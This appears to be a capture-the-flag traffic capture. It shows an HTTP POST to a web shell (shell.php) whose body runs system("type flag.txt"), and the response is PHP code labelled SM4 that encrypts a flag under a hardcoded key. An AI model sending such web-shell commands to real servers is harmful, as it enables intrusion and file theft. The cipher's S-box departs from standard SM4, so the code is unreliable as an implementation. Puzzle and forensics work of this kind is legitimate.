1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
| POST /shell.php HTTP/1.1
Host: 192.168.144.128:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
shell=system("type flag.txt");HTTP/1.1 200 OK
Date: Mon, 11 Aug 2025 08:40:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
<?php
class SM4 {
const ENCRYPT = 1;
private $sk;
private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
private static $CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
];
private static $SboxTable = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
];
public function __construct($key) {
$this->setKey($key);
}
public function setKey($key) {
if (strlen($key) != 16) {
throw new Exception("SM4");
}
$key = $this->strToIntArray($key);
$k = array_merge($key, [0, 0, 0, 0]);
for ($i = 0; $i < 4; $i++) {
$k[$i] ^= self::$FK[$i];
}
for ($i = 0; $i < 32; $i++) {
$k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
$this->sk[$i] = $k[$i + 4];
}
}
public function encrypt($plaintext) {
$len = strlen($plaintext);
$padding = 16 - ($len % 16);
$plaintext .= str_repeat(chr($padding), $padding);
$ciphertext = '';
for ($i = 0; $i < strlen($plaintext); $i += 16) {
$block = substr($plaintext, $i, 16);
$ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
}
return $ciphertext;
}
private function cryptBlock($block, $mode) {
$x = $this->strToIntArray($block);
for ($i = 0; $i < 32; $i++) {
$roundKey = $this->sk[$i];
$x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
array_shift($x);
}
$x = array_reverse($x);
return $this->intArrayToStr($x);
}
private function F($x1, $x2, $x3, $rk) {
return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
}
private function CKF($a, $b, $c, $ck) {
return $a ^ $this->T($b ^ $c ^ $ck);
}
private function T($x) {
return $this->L($this->S($x));
}
private function S($x) {
$result = 0;
for ($i = 0; $i < 4; $i++) {
$byte = ($x >> (24 - $i * 8)) & 0xFF;
$result |= self::$SboxTable[$byte] << (24 - $i * 8);
}
return $result;
}
private function L($x) {
return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
}
private function rotl($x, $n) {
return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
}
private function strToIntArray($str) {
$result = [];
for ($i = 0; $i < 4; $i++) {
$offset = $i * 4;
$result[$i] =
(ord($str[$offset]) << 24) |
(ord($str[$offset + 1]) << 16) |
(ord($str[$offset + 2]) << 8) |
ord($str[$offset + 3]);
}
return $result;
}
private function intArrayToStr($array) {
$str = '';
foreach ($array as $int) {
$str .= chr(($int >> 24) & 0xFF);
$str .= chr(($int >> 16) & 0xFF);
$str .= chr(($int >> 8) & 0xFF);
$str .= chr($int & 0xFF);
}
return $str;
}
}
try {
$key = "a8a58b78f41eeb6a";
$sm4 = new SM4($key);
$plaintext = "flag";
$ciphertext = $sm4->encrypt($plaintext);
echo base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
echo $e->getMessage() ;
}
?>
|
wechat
